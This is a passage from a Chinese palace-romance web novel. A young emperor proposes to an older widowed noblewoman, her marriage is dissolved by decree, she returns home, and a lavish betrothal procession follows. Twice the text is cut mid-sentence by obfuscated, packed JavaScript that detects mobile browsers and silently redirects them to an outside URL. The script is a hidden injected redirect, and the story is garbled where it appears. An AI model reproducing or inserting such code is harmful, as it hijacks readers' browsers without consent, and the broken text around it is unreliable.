哪怕现在皇宫的人口更加简单,只有萧怀琳这小子一个,可她的母家就算再强横又怎么能越过皇帝去? 而且这小子肯定不会早死,她也不希望他早死。 她想看着他一直活下去,活很久,活到自己死的时候仍旧身强力壮,佑大楚太平盛世百年。 ......她是喜欢眼前的少年郎,可是她不傻,她不能为了如今的喜欢,就把自己余下的人生都放弃掉。 她这般想着,抬起头小心翼翼地看向眼前人,却没想到对方也在看她,这一抬眸,刚好对视上。 “你不会受责罚的。”少年郎信誓旦旦道,“我之所以当这个皇帝,成为这个江山的主人,就是希望能够庇佑你的幸福和快乐。” “我的一切,都是你的,江山是你的,皇宫也是你的,你就是这个江山和皇宫的女主人,只管随心所欲的生活,有我在,谁敢说你的不是?” “况且......怎么会是你守皇宫的规矩呢?”少年郎抬手将落到她鬓前的一缕发丝别到耳后,唇角微微勾起了一抹温柔的笑意,“应该是——你的话,就是规矩。” 少年郎温暖的话语宛若一条清澈的溪流,沁人心脾,又带着一丝甘甜,惹得苏若琳的心止不住地荡漾。 ——她觉得自己心里的那座城池快守不住了。 可是,纵使眼前的少年眉目含情,动听的情话不绝于耳,也许这个少年说得都是真话,她也相信他的保证一定会实现,可是这一切都是建立在他还喜欢自己的基础上。 可感情这东西,乃是豪赌。 如今这个世道,对方赌得起,可她却赌不起。 苏若琳低下头,不敢再直视眼前人:“你是皇帝,日后必然还要选秀,届时后宫佳丽三千,个个容貌艳丽、出身名门,而我出身商户,年纪也大,以后年老色衰......” 可她话音未落,便被面前人伸出手揽进了怀里。 那床木琴被少年郎反手推至屏风下,坚实的木头之间的撞击震得琴弦发出一阵刺耳的响声。 而随着响声一同铺天盖地袭来的,是少年郎身上淡雅的清香。 她震惊地瞪大双眼,随后朱唇上便传来温软的触感,将她余下的话语全部吞回了腹中。 少年郎的动作永远是轻柔的,环住她纤细腰肢的手臂是轻柔的,伸入她口中的舌头是轻柔的,扶住她的后脑和脖颈的手掌也是温柔的。 从来都是温柔,又有力的。 令人安心。 过了许久,少年郎才终于离开了心上人的唇瓣,一双凤目缱绻地看着怀里的心上人。 那目光中,有柔情,有不舍,也有一丝胆怯。 少年郎重重地叹了口气:“你不是一直想知道,我为什么忌讳在别人面前裸露肌肤,也不愿别人进我的屋子吗?” “你知道,我从小被当作女儿家养大,所见所闻、所学所得,皆是女子该如何。” “为女者,切忌裸露躯体为外人见,女之闺房,亦非父母家人者所能进。” “即便我后来知晓了自己其实是男子,可那些刻在骨子里的规矩、想法,是一辈子也忘不掉的。” 在心上人不可思议地注视下,少年郎的眼眶逐渐泛红。 “很多时候,我自己都不知道自己这样究竟是男是女,我既不能接受和男人在一起,也没有办法接受女人。” “......除了你。” 少年郎紧紧拥抱着怀里的心上人,仿佛溺水挣扎的人在濒死之际终于抓住了一块浮木。 眼前人,是他唯一的救赎。 “如果能和你在一起,是男是女都无所谓,你想要建功立业,我便去相夫教子,你若不想出门,我便去养家糊口……只要你愿意接受我。” ……也只有你能接受我。 “如果你愿意,我绝不会再选妃,整座后宫除了你,绝不会再有第二个主人;如果你不愿意……” 少年郎声音有了一丝难以抑制的哽咽,就如同他这些年来所受的委屈,太过巨大,太过沉重,压抑了许久,终于压抑不住了。 “那我也不会娶妻纳妾,我这辈子,除了你,再也不会接受任何人了……” 哽咽的哭泣伴随着滚烫的泪水滴落到了苏若琳的肩上,恍若燃着火的松油滴在了她的心间,灼痛着她的五脏六腑。 眼前的少年郎,这一生都走得太过艰难......她怎么忍心,又怎么狠心,让他继续一个人孤独地走下去? 她有些颤抖地抬起手臂,轻轻地拍着少年郎的后背,安抚着面前哭泣的少年郎:“没事了,怀琳,都过去了,有我在,往后不会再让你一个人受苦了,没事了......”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027787|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她绝不会,再让他一个人走下去了。 在心上人的安抚下,少年郎渐渐地止住了哭泣,良久,他将头埋在心上人的脖颈间,话语中还伴随着哭过之后的抽泣:“若,若琳......入主中宫,做我的皇后吧。” “我不能,不能没有你......” 卑微的话语带着恳求,苏若琳的一颗心都随之渐渐收紧,她最终闭上眼睛,缓缓点了点头:“好。” ...... 她最后答应了嫁给眼前的少年郎,做他的妻子,做他的皇后。 做出这个决定以后,她觉得自己整个人都有些恍惚。 恍惚到,她已经忘了少年郎是怎么离开的国公府,自己又是怎么回去吃的烧烤,只是到了晚上,当几个儿子来碧月轩问她结果时,她才恍然回过神。 “......对。”苏若琳根本不敢直视几个儿子,“我答应了。” 杨纨绫兴奋跑到母亲跟前,抱住母亲的腿:“那大哥哥以后就可以名正言顺地来咱们国公府了!” 闻言,苏若琳倒是有些惊异:“纨绫,你怎么这么说?” “唔,是大哥哥说的。”杨纨绫皱起眉头,努力回想着大哥的话语,“大哥说,母亲和大哥成婚以后,再逢年过节,大哥就可以和母亲一起回家了。” 孩童无辜的话语说者无意,听者却有心。 不只是苏若琳,另外三个兄弟也陷入了沉默。 苏若琳的眼睛有些发酸,原来,他其实一直都当安定侯府是家的。 一个他无比渴望想回去,却再也不能回去的家。 ......不,还可以的,以后,他都还能再回来,和自己一起。 苏若琳的眼眶微红,脸上却露出了发自内心的笑容:“你们既然帮了怀琳,想必也都知道这事了,正如怀琳和纨绫说的那样,以后逢年过节,我和他一起回来。” 最后,杨纨玦长长地舒了口气,杨纨枫微不可闻地点了点头:“既然您愿意,那儿子们都祝福您。” 杨纨岚“芜湖”一声,一蹦三尺高:“我就说我的方案绝对没问题,太棒了!” 苏若琳不禁破涕为笑:“果然是你小子想出来的损招!” 让堂堂大楚皇帝穿女装,这小子可真行! 杨纨岚笑着抹了抹鼻子:“嘿嘿嘿,别管损不损,您就说管不管用吧!” 那可真是太管用了,不得不说,怀琳那小子的脸真是百搭,身材也是个衣服架子,穿裙子不显得锐利,穿甲胄也不显得阴柔,各有各的好看。 而彼时,在遥远的皇宫里,正在被夸好看的萧怀琳本人才将毛笔搁置在笔山上,微微吹干锦织上的墨,确认内容没有一丝一毫的差错以后,将自己的玉玺重重地按在上面,扣好了印章。 最后他站起身,缓步来到窗边,抬头望向窗外的夜色。 见那高悬的夜空里,皎洁的月光与夺目摧残的星辰交相辉映,他的嘴角不禁露出了一抹笑意:“明日是个好天气,你挑个吉利的时辰往杨国公府去一趟。” 侍奉在侧的李公公是个聪明人,那道刚写好的圣旨就敞开了摆在桌上,这说明陛下并不介意他看到这道圣旨的内容。 ——当然,前提是他的嘴巴够严实,否则若是提前说出去了,那他得更早想好自己的死法是凌迟还是车裂了。 于是,李公公大着胆子抬眼往圣旨上看了眼,待草草地看清圣旨上的内容后,他目眦欲裂,使劲抵住舌头才没让自己发出声音。 陛,陛下居然要赐杨国夫人合离?! 143. 和离回娘家 萧怀琳下旨令苏若琳和离的消息不仅惊动了苏杨两家,更是惊动了整个京城。 有些先前到过宁安王府开会的大臣早知陛下对杨国夫人有意,只是说句不好听的,大多数人都以为陛下当初对杨国夫人的态度只是单纯的暧昧和玩弄。 毕竟杨国夫人不仅年岁比陛下大了五岁,更是已经嫁过人了,满京城名门贵女那么多,陛下怎么可能看上一个出身商户的妇人? 况且,满朝勋贵是个人都看得出来,陛下是要重用杨国公府的,杨国公府的三位公子皆身居高位,假以时日若是联合起来,甚至未必没有权倾朝野的可能。 陛下这么重用杨国公府的三位公子,怎么还会让杨国夫人和离? 人们想出了无数个可能,其中一个认同者最多—— 莫非是陛下看上了杨国夫人,而杨国公府也是以杨国夫人做交易,才换得三位公子身居高位的? 毕竟杨国夫人是继室,杨国公府的这几位少爷都不是杨国夫人亲生的。 那这三位少爷可着实有些狼心狗肺了,也不怕他们的嫡母怨恨他们? 不过话又说回来,杨国夫人和离后,必然是要被陛下接入宫中的,只是不知这位杨国夫人,又或者说苏国公府的大小姐,入宫后能得到个什么位置? 有人猜测,陛下既然如此属意苏大小姐,说不定能赐其四妃之位。 毕竟苏国公府也是有从龙之功的,苏大小姐如今也是出身名门了,地位绝不能太差。 外面的流言蜚语几乎传遍了大街小巷,苏国公苏泓本人心里也难免有些担忧。 先前他跟随萧军自北疆归来后,便回苏家稳定家族和家族的产业了,后面那些跟随陛下平乱谋天下之类的事,都是大儿子苏若景在干。 他没有亲眼见过当初在宁安王府时,陛下对女儿的态度,仅凭大儿子的转述,很难理解陛下的举动。 而捉摸不透的事情,才是最可怕的。 前几日女儿的来信里,说是待回了娘家以后细谈,于是一连几日,全府上下都在给大小姐回家做准备。 苏母是个内宅妇人,不知道外边的各种传言,只听说了女儿和离,担心地连续几个晚上都没睡好,末了又自我安慰:“女儿回来了也好,咱们如今也是国公府,比那杨国公府能差到哪去?” 今日到了女儿归家的日子,她又跟着几个儿媳挨个叮嘱了一遍:“若琳是我唯一的闺女,是你们父亲和丈夫打小宠到大的心头肉,莫要说她是和离,哪怕是让夫家给休了,她也是咱们苏国公府的大小姐。” 几个儿媳连连称是,苏若琳的大嫂拉着母亲笑道:“母亲说笑了,妹子和离可是陛下亲赐,是圣上的旨意,谁敢小瞧妹子呢?” “是圣上的意思?”苏母闻言一惊,“那圣上为什么要让若琳和离?” 苏大嫂微微皱起眉头:“这个儿媳也不大清楚。” “不过嘛。”苏大嫂说着,脸上又露出释怀的笑容,“这事妹子自己肯定是知道的,等她回了家,咱们再好好问问。” 她话音刚落,忽地外边传来下人通传:“老夫人,几位奶奶,大小姐回来了!” “呀,回来了!”苏大嫂笑着道,“还挺快的。” 苏母连忙从椅子上站起来:“快,咱们快去门口接若琳去!” 一行人火急火燎地往大门赶去,等她们到了大门口的时候,前院的苏泓和苏若景几个兄弟们也早已经到了。 众人眼看着苏若琳的马车在苏国公府的大门前停稳,紧接着后边的那辆马车里先下来了三个面容不俗的少年郎。 其中一个眯起一双秀丽的桃花眼,仰头望向苏国公府大门前的牌匾,兴奋道:“这里就是外祖家的府邸了啊。” 另外两个气质更加的沉稳,两人的目光环视过门口的众人,俊俏的面容上闪过淡淡地笑意:“见过外祖、外祖母,诸位舅舅和舅母。” 见状,杨纨岚连忙也跟着见礼:“见过外祖、外祖母,诸位舅舅和舅母!” 看到如今正在朝中任职的三兄弟居然都来给女儿送行,苏泓立刻就知道,女儿此次和离,至少和杨国公府绝对没有生嫌隙。 他当即露出一副笑容:“纨玦纨枫纨岚都来了?” “来,外祖给你们介绍介绍。”苏泓指着自己的几个儿子,“你们大舅就不用说了,都见过,这是你们二舅,三舅……” 三兄弟正和长辈们见礼,彼时红烛和绿俏也自前边那辆马车下来,绿俏往地上放好了脚凳,红烛搀扶着苏若琳走下了马车。 苏母见到心念了许久的女儿,激动地说不出话,只是干流泪。 还是苏大嫂上前迎道:“若琳回来啦!” 刚下马车的苏若琳一抬眸,便见到了门前已经站满了人。 这些人大多脸上带笑,眼熟得很,见到这些人,苏若琳的心里难以自拔地升起了一股亲切之情。 不仅仅是因为这具身体自带的情感,她来到这个世界那么久,久到她已经下意识将自己当作原身了。 此刻见到大嫂迎过来,苏若琳的脸上不由得露出了欣喜的笑容:“大嫂!” 姑嫂两人上次见面还是在四年前,如今久别重逢,不约而同地握紧了对方的手,热泪盈眶。 苏母生原身的时候年纪大了,因此生下原身之后身体一直不好,休养了许多年,故而原身从小是被大嫂带大的,如今见到大嫂,自然格外亲近。 姑嫂两人亲近了片刻,两人便来到了苏母面前,母女俩激动地抱在一起,久久不能言。 这时,一道稚嫩的呼唤响起,声音里还带着一丝哭腔:“母亲,母亲!母亲把纨绫给忘了!” 苏若琳连忙回过头,就见到杨纨绫被红烛抱了过来,一张白白嫩嫩的小脸皱成一团,瘪着嘴巴一副要哭的模样。 奶团子使劲朝母亲伸出手,苏若琳破涕为笑,连忙把小儿子接了过来,抱着小儿子跟母亲和诸位嫂子介绍:“这是杨国公府的小公子,也是我的小儿子,叫纨绫。” 杨纨绫伸出小肉胳膊抱成拳,有模有样地朝长辈们作揖:“见过外祖母,还有舅母们。” “哎哟,这孩子可真聪明,还知道自己主动见礼!”大嫂笑着夸奖。 这下苏母也明白了,虽说自家女儿名义上和杨国公府和离,但是从感情上来看,他们母子几人仍是一体。 如今一见这孩子跟自家女儿这么亲近,苏母在身上摸索了一番,接过什么也没摸到,连忙吩咐伺候自己的嬷嬷:“你到我院里去,拿个最大的红包过来,快去快回!” “谢谢外祖母。”奶团子的脸上露出甜甜的笑容,甚是可爱。 姨娘和哥哥们还担心他应付不来苏家的长辈,哼,才不是呢。 他最会讨长辈喜欢了。 奶团子这般想着,伸出两条小胳膊环住母亲的脖子,白嫩的小脸和母亲贴了贴,撒娇道:“母亲,纨绫饿了。” 末了,还未等苏若琳开口,苏母便道:“哎哟,看这孩子都饿了,那咱们快进去用膳吧!” 大嫂含笑道:“母亲一早就开始张罗了,一大桌子菜都是你爱吃的,咱们快进门吧!” 苏母牵起女儿的手便往里边走去,末了又叮嘱大儿媳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038002|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你去跟你父亲说一声,别让三个孩子在外边杵着了,待会饭桌上不有的是时间聊?” 一家人浩浩荡荡地到了宴会厅,男人和女人小孩各坐了一桌,没一会儿,珍馐佳肴如流水一般端了上来。 席间苏泓有意向三个外孙打听陛下下诏令自家女儿和离的事,然而三个大小伙子却纷纷露出了一言难尽的神情。 “此事您还是亲自问母亲更好些。” 听见这话,苏泓原本还有些宽慰的心又不禁忐忑不安了起来。 陛下到底是个什么意思?怎么几个孩子都露出这种表情? 这不安的心情闷在他心里,搞得一整顿饭都没有了味道。 用过午膳,国公府的众人把杨纨玦兄弟四个送出去。 等到把人送到门口,几个少年郎不舍地看着苏若琳,杨纨绫紧紧地抱着母亲的脖子,也不说话,只是一个劲地流泪。 他们都知道,此次一别,母亲就会永远离开他们的家,日后即便是回来,也只是暂时的了。 苏若琳轻轻拍着小儿子的后背,温声道:“你在府里要听姨娘和兄长们的话,等以后母亲常回去看你。” 说着说着,她自己都哽咽了。 杨纨绫使劲抹掉脸上的小泪珠,跟母亲道:“等以后母亲进了宫,纨绫天天去宫里找母亲!” “好。”苏若琳笑中含泪,又抬起头来看向面前的几个儿子。 都比她高了。 “你们都大了,在朝中为官,都是能独当一面的男子汉了,我也没什么能叮嘱的。”苏若琳笑着揉了揉儿子们的头,“我为你们骄傲。” 杨纨枫和杨纨岚都红了眼睛,杨纨岚低头抹掉眼角的泪水,最后杨纨玦将母亲怀里的弟弟接了过来:“母亲,我们走了。” 苏若琳无声地点了点头。 她目送着儿子们上了马车,望着马车逐渐远去的背影,一颗心如同掉进了还未长熟的橘子里,不断地泛起酸涩。 眼看着马车离去的背影越来越小,直到再也看不见,她才擦掉眼泪,转身回府。 回去自己院子的路上,苏若琳暗自咬牙。 都是因为萧怀琳那个混蛋,害得他们骨肉分离。 日后等她进了宫,有那个混蛋好瞧的! 等苏若琳回到了自己在娘家的院子里,红烛和绿俏已经带着一众婆子丫鬟把院里院外收拾得干干净净。 苏母和苏家大嫂来了许多次,每次都带了许多东西过来,什么家具摆件啊,用具茶具啊,生怕她受了委屈。 苏若琳哭笑不得:“这也太多了。” “不多,不多的!”大嫂笑着拍了拍她的手,“咱们家本来也不穷,如今又是国公府,自然吃穿用度都得更显贵些,这些东西啊你都放心得用,缺什么再跟我和母亲说。” “不缺了不缺了!”苏若琳连忙摆手。 现在这院子都比她的碧月轩值钱了。 苏母又拉着女儿的手,说了许多体己话,问她这几年过得如何,养育几个儿子有没有很累啊,当然,还有最大的疑问,那就是陛下到底是为什么下诏令女儿和离的。 这时,外边丫鬟进来通传,说是老爷和大爷到了。 话音未落,苏泓和苏若景便走了进来。 “父亲,大哥!”苏若琳笑着站起身,给父亲和大哥一人来了一个拥抱。 等到亲近完了,苏泓这才问向自己的女儿:“我刚才在外厅就听见了,你母亲问你有关和离的事。” 他说着拍了拍女儿的手:“乖女儿,你快跟父亲说说,陛下到底是个什么意思?” 144. 江山为聘 还能是个什么意思呢? 苏若琳的脸上露出苦笑:“陛下想要娶我。” 闻言,苏泓一颗悬着的心这才落了下来。 意料之中的结果。 随后他又问道:“那陛下既然想要把你接进宫里,可曾说过要给你个什么位子?” 必然不能是太低的吧。 苏若琳却摇了摇头。 她定定地看着自己的父亲,将方才的话重复了一遍:“陛下想要,娶我。” “陛下自然是要娶你的啊,不然他......”苏泓话才说一半,猛地瞪大眼睛。 苏大嫂是最快反应过来的,她捂住嘴惊讶道:“陛下要娶你做皇后?!” 苏若琳含笑点了点头。 “陛,陛下,要娶你......”苏若景看了看自家妹子,又看了看自己的媳妇,脸上的震惊逐渐变为狂喜,“那咱们家岂不是要出皇后了!” “咱们家要出皇后了?”苏母愣愣道。 “是啊,母亲,若琳要做皇后了!”苏大嫂激动地握紧母亲的手。 “陛下居然......”苏泓怔愣了片刻,而后爆发出了一阵狂笑,他抓住苏若景的手,末了又转过身朝外走去,“快,快去准备红包!” “赏,重重地赏!全府上下都赏!” “就赏......一整年的份例!” 苏若琳连忙拉住他:“父亲!” “此事不可心急的。”她朝父亲摇了摇头,语重心长道,“还是要等陛下立后的诏书下来了才是。” “哦,对!”苏泓一拍脑袋,笑道,“哎哟,父亲实在是太激动了。” “咱们苏家三代从商,到了这一代居然出了个嫁入皇家做皇后的女儿啊。” 这可真是光宗耀祖了! “哦,对了。” 说起嫁入皇家,苏若琳连忙让红烛拿来一个小册子。 “父亲,这是当初女儿嫁入安定侯府的嫁妆单子。”苏若琳说着将册子递给苏泓,“大部分嫁妆都是在的,只是父亲您也知道,杨国公府如今就只有纨玦他们几个孩子,也没个能主事的,因此女儿就把一部分嫁妆留给杨国公府了。” 她说着掀开册子的一页:“都在这里,有几间铺子留下了,那些大件的家具也都没带走。” 苏泓看着那几样用红笔勾出来的嫁妆,点了点头:“不妨事,留给他们便是。” 往情上说,女儿放不下她养大的几个孩子,几件嫁妆又何妨;往理上说,杨国公府的那三个公子皆在朝中身居高位,前途可期,那些嫁妆,就当做个人情了。 他这般想着,又揉了揉女儿的头,笑道:“等你日后嫁入皇家,父母再给你添补更好、更多的嫁妆!” “谢谢父亲!”苏若琳当即喜笑颜开。 “哎哟,那可得现在就准备了!”苏母笑着看向身边的嬷嬷,“你回头把我私库的单子拿出来,我看看都有什么能添做嫁妆的。” 苏若景忽然问道:“我怎么没看见祝老爷子?” 祝老爷子去杨国公府养老是因为有妹子在,如今妹子都和离了,老爷子自然也该一起搬回来住了。 他疑惑道:“难不成老爷子去了朝廷给分的府邸?” 老爷子现在官任右相,朝中自然是给分了宅邸的,只是老爷子一个人住,若是没人照料的话,也不行啊。 苏若琳笑着摇了摇头:“等日后我嫁进宫里去,老爷子和我一起到宫里去住,这折腾来折腾去的不太方便,索性就先继续住在杨国公府了。” “啊?”苏泓傻眼了,“老爷子怎么能跟你去皇宫住?!” 自家闺女当初是杨国公府正儿八经当家作主的主母,老爷子又做了两个孙子的先生,这才能住进去,可皇宫那是什么地方,规矩森严,怎么能随便安排老爷子住进去养老?! “那陛下能同意?!” 闻言,苏若景想到了先前在宁安王府时见到的,陛下对自家妹子的态度,轻咳了几声没说话。 苏若琳含笑道:“您就放心吧,这些都是我和陛下商量好的。” 那个混蛋敢不同意么? 不同意她就不嫁! 见状,苏泓也不好再说什么了,微微叹了口气:“你也大了,自己做事有分寸就行。” 末了他又问道:“那陛下可曾说过何时下诏立后?” 苏母赶忙拍了拍他:“你个老爷们知道什么,婚嫁之时急不得,得从长计议,哪里是随便就能说定日子的?” 她说着把自己丈夫和儿子往外推:“行了行了,你们俩赶紧出去吧,我闺女都累了一天了,还要被你俩盘东盘西的。” 大家都笑了。 等送走了苏泓父子俩,苏母和苏大嫂又叮嘱了许多事情,最后看到苏若琳的脸上显露出了困意,这才不舍地离开。 后来苏若琳躺在榻上昏昏欲睡时,脑子里迷迷糊糊地想着。 那混小子确实没说过何时下诏立后。 但是看他下诏和离的速度,应该快了吧...... 自然是快的。 错非是不合规矩,他都想在下诏让心上人和离的同时,再把立后的诏书给下了。 只是他想要做足礼节,给他的心上人最大的礼遇和尊重,就必须得一步一步来。 今日正午苏若琳回娘家的同时,他便命侍中去给自己选定好的、适合代行采纳礼的大臣们颁旨去了。 正使他选的是左相张辅之,副使则是宗正卿。 如果不是祝老爷子和他的心上人关系匪浅,要避嫌,这正使之职他本想任命给老爷子的。 不过老爷子和张辅之的关系他已经查清了,两人情谊深厚,把行采纳礼的重任交给张辅之,他也能放心。 而当张辅之听侍中念完圣上任命使臣的诏令后,脸都绿了。 平心而论,他是觉得陛下要娶苏国公府大小姐这事,是于礼不合的。 可是他也知道,他要是反对,第二日祝贤盛就能拄着拐去他家里和他拼命。 这事他本来的打算是睁一只眼闭一只眼,就当做不知道。 但是他怎么也没想到,圣上居然把这活直接派给他了。 侍中铿锵有力地念完了圣旨,随后重新卷起诏书——大多数情况下,皇帝下的诏令是不必劳烦他念的,一般都是皇帝写完了直接让身边的太监去传令。 因为如果要让他念的话,这道旨意就必须先去三省那边扣完一遍章,算是昭告天下。 程序繁琐,却也是礼仪最全的。 陛下此举,无疑是在表明,陛下十分重视迎娶皇后一事。 换句话说,陛下十分看重这位准皇后。 今日他带着圣旨离开三省的时候,那边已经闹翻天了。 等到侍中卷起诏书后,抬头看着脸色不太好的张辅之,不由得问道:“张相可是身体不适?” 张辅之深吸了一口气,摇了摇头。 “那就好。”侍中笑着微微行礼,“那下官就去宗正寺找宗正卿了。” 这迎娶皇后一事,可耽误不得呢。 天子迎娶皇后的礼仪自然是要比普通人家的婚嫁要繁琐的,但也逃不开三聘六礼的路子。 张辅之和宗正卿充当皇帝的媒人,代皇家过了纳采、问名和纳吉的前三礼,已是三个月之后了。 到了第四礼纳征之时,两位使臣和苏国公府商议好日子后,萧怀琳派李公公亲自带着聘礼和聘书去苏国公府。 聘礼一事,萧怀琳几乎从最开始就在准备了,当时他把礼官召过来后,礼官沉吟道: “按旧制,当朝聘礼最高规格为一百二十八抬。” 话落,礼官看着萧怀琳严厉的目光,额头逐渐冒出冷汗:“不,不过,陛下既然是皇帝,那聘礼的规格自然不能相提并论。” 他说着伸出手,悄悄擦掉了额头的冷汗:“臣以为,若是把聘礼的抬数翻一倍……二百五十六抬,也是可以的。” 萧怀琳冷笑了一声。 二百五十六抬? 太少了。 后来礼官和萧怀琳拟定好了聘礼的单子,那个礼官回去之后一病不起,到现在都没能复任。 今日是纳征之日,萧怀琳特意易服出宫,悄悄地潜入苏国公府。 他真想看看,当他的心上人知晓他准备的聘礼时,会是怎样的反应。 彼时苏国公府正宴请宾客,京城无数勋贵应邀,热闹非凡。 当朝的纳征之礼比较特殊,纳征日是男方和女方的家庭共同商定好的日子,这一日,女方要宴请宾客,以向众人宣布女儿即将出嫁。 随后,同宾客共赏男方送来的聘礼,以展现自家女儿得到了准夫家足 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另一位宾客摇了摇头:“依我看啊,不止。” 当张辅之、宗正卿还有李公公进了院子以后,苏泓连忙迎了上去。 “张相、宗正卿,还有李公公,一路上辛苦了!”苏泓说着派下人递茶上来,“从皇宫来到鄙府不容易,这天寒地冻的,来,先喝杯热茶暖暖身子!” 李公公和宗正卿忙接过茶杯:“那就谢谢苏大小姐的喜茶了!” 婚嫁之事,纳征之日女方家里宴请宾客,要喝茶,谓之喜茶;大婚当日男方宴请宾客,要喝酒,谓之喜酒。 张辅之脸色并不好看,眼见着下人递过来茶杯,开口想要推脱。 坐在宾客最前列的祝贤盛瞪了他一眼:“我孙女的喜茶,你喝不喝?” 张辅之:…… 他伸出手将茶杯接了过来,灰白的胡须微微颤动:“谢苏大小姐的喜茶。” “应该的应该的。”苏泓显然注意到了张辅之的异样,忙关切地问道,“张相可是身体不适?” 张辅之暗自咬牙。 他何止是身体不适。 一路上他看完了皇帝的聘礼单子,差点没晕过去! 只是他也只能憋在心里生闷气,今日是老祝孙女的大好日子,就算是有天大的事他也不能发作。 张辅之深吸了一口气,勉强一个微笑:“无事,昨夜熬夜批文书,今日有些疲惫。” “哎呀,张相真是劳苦功高!”苏泓连忙请他坐到祝贤盛旁边,“来,张相快坐下休息休息!” 等他坐下来之后,祝贤盛看了看他,小声警告道:“今日是我孙女的好日子,你个牛脾气有什么事都等出了府以后再说。” 张辅之冷笑了一声:“待会等聘礼过完了,你看看你生不生气。” “我能有什么生气的?”祝贤盛不信这个邪,“难不成这聘礼里边还放了鞭炮不成?” 他倒是要看看,这聘礼有什么不妥。 若是真的不妥,他第一个拦下这门婚事。 很快,等自皇宫而来的三人喝过了喜茶,后边抬聘礼的队伍也刚好进了院子,李公公随即打开手里的聘礼单子,开始唱诵。 院子里逐渐安静了下来,无数宾客向李公公投向期待的目光。 陛下可是要娶苏大小姐做皇后的啊! 他们可太想知道了,陛下能给他的皇后准备什么样的聘礼! 在众人期待的目光中,第一抬聘礼被缓缓抬了上来。 那上面是一、一堆姜……? 望着众人难以置信的神色,李公公的脸上露出了高深莫测的笑容。 他张开口,尖声念道:“姜山一座!” 闻言,原本安静的院子顿时喧嚣了起来。 众人看向苏若琳的目光无不多了几分艳羡和尊敬。 苏若琳看着面前那座被缓缓抬过去的“姜山”,眼中逐渐蒙起了一层水雾。 在场但凡有点头脑的人都能听得出来,这姜山,寓意着江山啊! 彼时正趴在房顶上的萧怀琳看着心上人动容的神情,那张俊俏的脸上逐渐浮现出了温柔的笑意。 我以这万里江山为聘,娶你为妻。 145. 五百二十一 聘礼一抬又一抬地进了院子,在苏若琳和宾客们跟前过一遍眼,随后被抬去后院。 成箱的金银珠宝、玛瑙翡翠,无不成色上佳,每一箱的箱盖都敞开着,供众人欣赏艳羡。 这些是当今天子给予新后的尊重和体面。 实际上,从那座姜山开始,便无人再敢质疑苏大小姐在当今心里的份量。 有人数着聘礼过眼的抬数,猛地一惊:“这就是第一百二十八抬了,怎么看着后面还有那么多?” 抬聘礼的队伍排成了一条长龙陆续进着院子,李公公仍在拿着记录着聘礼的礼书尖声念诵,那长龙一直排到了院外很远的地方,延伸到众人视线的尽头。 苏泓连忙唤来一个下人,低声吩咐道:“你出去看看,聘礼的队伍到底排到了哪里?” 下人领命去了,坐在宾客最前列的张辅之剜了身旁的祝贤盛一眼:“看到没?” “看见了,挺好。”祝贤盛说着又喝了一口茶。 今日这喜茶用的龙井定然是上上佳的,不然怎会如此甘甜,怎么喝都喝不腻? 张辅之知道这老小子还没意识到事情的严重性,他冷哼了一声:“那你就继续看着吧,待会有你着急的。” 祝贤盛莫名其妙地看了他一眼。 能怎么着急? 前边一百二十八抬聘礼抬抬丰厚贵重,萧怀琳那小子已经给了自己的孙女最大的体面,他还能着急什么? 除非那小子往后边的聘礼里面放嫔妃。 这般想着,他倒是也有些好奇了。 那小子能往聘礼里边放什么,让张辅之这老小子气成这样? 他目视着一抬又一抬聘礼继续被抬上来,过了众人的眼,方知前边的珠宝首饰不过才是个开端,后面的地契、庄子,更是一抬比一抬惊人。 不知过了多久,有人惊呼:“这都第二百五十六抬了,怎么聘礼还没完?!” 这时,被苏泓派去查看聘礼队伍的下人终于回来了,朝前者行了个礼,哆哆嗦嗦道:“回老爷,送,送聘礼的队伍,还在府外排出去老远!” 苏泓难以置信地看着他:“你再说一遍?” 这都已经二百多抬过去了,居然还有这么多?! 难道当今去搬了国库不成?! 彼时的祝贤盛终于意识到了事情的不对劲:“怎么这么多?” 他推了推身旁的张辅之:“你看过礼书了,里边到底有多少抬?” 张辅之并未回答他,而是意味不明地笑了笑:“等纳征礼结束以后,你和我收拾收拾去面圣,问问他这些聘礼动了国库多少。” 先帝为了自己和嫔妃享乐曾数次挪用国库,致大楚哀鸿遍野整整三年,敌寇肆虐,山河动荡,当今和先帝乃是堂兄弟,说不准本性根都劣到了骨子里。 张辅之不禁悲哀地望向天上的苍穹,他想起了高祖。 想当初高祖建立楚朝,励精图治,勤俭节约,致大楚太平盛世,怎么他的后代就都沉迷于放纵享乐呢? 不过,尽管张辅之在为楚朝的将来悲哀,但是对于在场的其他宾客而言,看着一抬抬眼花缭乱的聘礼过完眼,众人的心里唯有艳羡。 苏若琳裹着狐裘,定定地看着一抬又一抬聘礼自她眼前经过,而后被抬进她的院子。 这些东西,都是他送给她的聘礼...... 她的心里像是掉进了装满各种调料的罐子,说不清是甜蜜,还是感动,亦或是什么。 什么都混杂在一起了。 那个混蛋,他那么,那么喜欢自己啊...... 红烛来到她身侧,小声道:“小姐,您迎着风站了有好一会了,来旁边坐会儿歇歇吧。” 苏若琳却摇了摇头:“我不冷。” 现在她的心里,比在六月盛夏之时还要暖热。 聘礼还在继续往院子里抬着,李公公念诵礼书的嗓音都有些沙哑了,宾客们的内心也逐渐从惊羡变为麻木。 当今对苏大小姐可真是恩宠之盛啊...... 聘礼的数量也早已过了三百抬、四百抬,等念到五百抬的时候,院外的聘礼队伍终于看见了尽头。 